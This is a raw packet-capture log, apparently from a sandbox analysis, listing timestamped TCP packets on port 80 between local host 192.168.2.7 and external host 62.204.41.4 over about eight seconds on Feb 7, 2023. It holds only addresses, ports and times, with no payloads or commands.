Feb 7, 2023 23:09:31.572808027 CET	80	50246	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.572994947 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.574487925 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.636084080 CET	80	50246	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.638185024 CET	80	50246	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.638371944 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.744508982 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.745625973 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.805274963 CET	80	50247	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.805517912 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.806011915 CET	80	50246	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.806158066 CET	50246	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.810489893 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.870069027 CET	80	50247	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.872325897 CET	80	50247	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:31.872436047 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.981877089 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:31.982573032 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.041578054 CET	80	50247	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.041776896 CET	50247	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.043179989 CET	80	50248	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.043317080 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.043751955 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.104180098 CET	80	50248	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.106208086 CET	80	50248	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.106370926 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.212158918 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.213057041 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.273477077 CET	80	50248	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.273657084 CET	50248	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.275213003 CET	80	50249	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.275372982 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.275895119 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.337311029 CET	80	50249	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.339564085 CET	80	50249	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.339678049 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.451369047 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.453258991 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.513195992 CET	80	50249	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.513423920 CET	50249	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.515614986 CET	80	50250	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.515750885 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.516212940 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.578676939 CET	80	50250	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.580764055 CET	80	50250	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.581012011 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.699179888 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.699990034 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.760196924 CET	80	50251	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.760416031 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.760946989 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.761513948 CET	80	50250	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.761596918 CET	50250	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.821151972 CET	80	50251	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.824388981 CET	80	50251	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.824647903 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.932904005 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.933610916 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.993138075 CET	80	50251	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.993227005 CET	50251	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.995877028 CET	80	50252	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:32.996077061 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:32.997462034 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.059782028 CET	80	50252	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.064398050 CET	80	50252	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.064483881 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.195522070 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.196455002 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.255816936 CET	80	50253	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.255981922 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.257921934 CET	80	50252	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.258038998 CET	50252	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.281755924 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.341058969 CET	80	50253	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.344080925 CET	80	50253	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.344166040 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.448745966 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.454852104 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.509032011 CET	80	50253	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.509102106 CET	50253	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.517385960 CET	80	50254	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.517530918 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.517905951 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.580267906 CET	80	50254	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.583132029 CET	80	50254	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.583296061 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.706017971 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.715775967 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.768414974 CET	80	50254	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.768510103 CET	50254	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.776190042 CET	80	50255	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.776336908 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.778377056 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.838792086 CET	80	50255	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.841334105 CET	80	50255	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:33.841475964 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.961041927 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:33.962388039 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.021431923 CET	80	50255	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.021693945 CET	50255	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.023679972 CET	80	50256	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.023909092 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.024543047 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.085975885 CET	80	50256	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.088280916 CET	80	50256	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.088409901 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.203145027 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.204210997 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.264987946 CET	80	50256	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.265830040 CET	80	50257	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.265995026 CET	50256	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.266057014 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.266479015 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.327775955 CET	80	50257	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.330198050 CET	80	50257	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.332349062 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.448230982 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.449268103 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.509862900 CET	80	50257	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.510546923 CET	50257	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.510565042 CET	80	50258	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.510729074 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.513209105 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.574632883 CET	80	50258	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.576956034 CET	80	50258	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.579356909 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.710500956 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.716898918 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.772130966 CET	80	50258	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.776146889 CET	80	50259	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.776300907 CET	50258	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.776535034 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.780949116 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.840396881 CET	80	50259	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.843144894 CET	80	50259	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:34.843322992 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.947449923 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:34.948426008 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.007957935 CET	80	50259	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.008461952 CET	50259	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.011957884 CET	80	50260	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.014497042 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.014959097 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.078376055 CET	80	50260	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.082820892 CET	80	50260	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.083009005 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.198143005 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.199213028 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.262928009 CET	80	50260	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.262964964 CET	80	50261	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.263104916 CET	50260	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.263159990 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.263576984 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.326489925 CET	80	50261	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.330900908 CET	80	50261	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.331115961 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.447892904 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.449089050 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.512887955 CET	80	50262	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.512928009 CET	80	50261	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.513036966 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.513082981 CET	50261	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.513957977 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.577348948 CET	80	50262	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.580169916 CET	80	50262	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.580378056 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.698148966 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.698964119 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.758923054 CET	80	50262	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.759202003 CET	50262	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.761877060 CET	80	50263	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.762135983 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.762538910 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.825681925 CET	80	50263	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.826868057 CET	80	50263	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.827007055 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.931889057 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.934360981 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.994829893 CET	80	50263	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.994949102 CET	50263	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.995307922 CET	80	50264	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:35.995428085 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:35.995836020 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.057117939 CET	80	50264	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.062863111 CET	80	50264	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.063019991 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.172399044 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.173266888 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.232975960 CET	80	50264	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.233134985 CET	50264	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.235920906 CET	80	50265	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.236011982 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.236424923 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.299031019 CET	80	50265	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.301420927 CET	80	50265	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.301506042 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.416811943 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.417812109 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.479562998 CET	80	50265	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.479701996 CET	50265	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.480355024 CET	80	50266	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.480505943 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.481026888 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.543584108 CET	80	50266	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.545967102 CET	80	50266	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.546231031 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.655683994 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.656821012 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.716255903 CET	80	50267	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.716397047 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.717040062 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.719022036 CET	80	50266	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.719153881 CET	50266	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.776323080 CET	80	50267	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.778573036 CET	80	50267	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.778712034 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.916171074 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.917093039 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.975944042 CET	80	50267	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.976264000 CET	50267	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.977686882 CET	80	50268	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:36.977884054 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:36.981445074 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.043517113 CET	80	50268	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.047588110 CET	80	50268	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.047691107 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.153713942 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.154644012 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.214672089 CET	80	50268	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.214911938 CET	50268	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.216003895 CET	80	50269	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.216171980 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.221379995 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.282882929 CET	80	50269	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.286880016 CET	80	50269	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.288542032 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.408513069 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.409583092 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.470068932 CET	80	50269	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.470839977 CET	50269	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.471725941 CET	80	50270	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.474929094 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.475503922 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.538461924 CET	80	50270	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.542831898 CET	80	50270	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.543011904 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.655067921 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.655966043 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.716795921 CET	80	50271	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.716931105 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.717474937 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.718292952 CET	80	50270	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.718590021 CET	50270	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.778472900 CET	80	50271	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.782658100 CET	80	50271	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.782995939 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.900671005 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.901617050 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.961453915 CET	80	50271	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.962006092 CET	50271	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.964427948 CET	80	50272	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:37.964677095 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:37.970566034 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.036638975 CET	80	50272	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.039640903 CET	80	50272	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.042649984 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.150453091 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.154021025 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.213013887 CET	80	50272	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.213176966 CET	50272	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.215421915 CET	80	50273	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.220242023 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.220730066 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.282044888 CET	80	50273	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.284318924 CET	80	50273	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.284512043 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.401119947 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.401969910 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.461570978 CET	80	50274	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.461816072 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.462574959 CET	80	50273	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.462668896 CET	50273	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.463285923 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.522861004 CET	80	50274	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.525685072 CET	80	50274	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.525823116 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.645334959 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.646347046 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.705010891 CET	80	50274	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.705393076 CET	50274	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.707953930 CET	80	50275	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.708266020 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.709285021 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.771209955 CET	80	50275	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.773197889 CET	80	50275	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.773377895 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.884987116 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.885828972 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.946484089 CET	80	50275	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.946515083 CET	80	50276	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:38.946595907 CET	50275	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.946661949 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:38.947586060 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.008102894 CET	80	50276	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.010864973 CET	80	50276	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.010996103 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.121531963 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.122560024 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.182123899 CET	80	50276	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.182276964 CET	50276	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.183119059 CET	80	50277	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.183394909 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.183923960 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.244374990 CET	80	50277	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.246810913 CET	80	50277	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.246964931 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.359045029 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.359982014 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.419778109 CET	80	50277	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.419930935 CET	50277	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.422887087 CET	80	50278	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.423022032 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.423463106 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.484946966 CET	80	50278	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.487081051 CET	80	50278	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.487179995 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.608915091 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.609671116 CET	50279	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.670533895 CET	80	50278	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.670636892 CET	50278	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.671155930 CET	80	50279	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.671278000 CET	50279	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.671695948 CET	50279	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.733268976 CET	80	50279	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.735544920 CET	80	50279	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.735755920 CET	50279	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.858701944 CET	50279	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.859416962 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.920284033 CET	80	50279	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.920399904 CET	50279	80	192.168.2.7	62.204.41.4
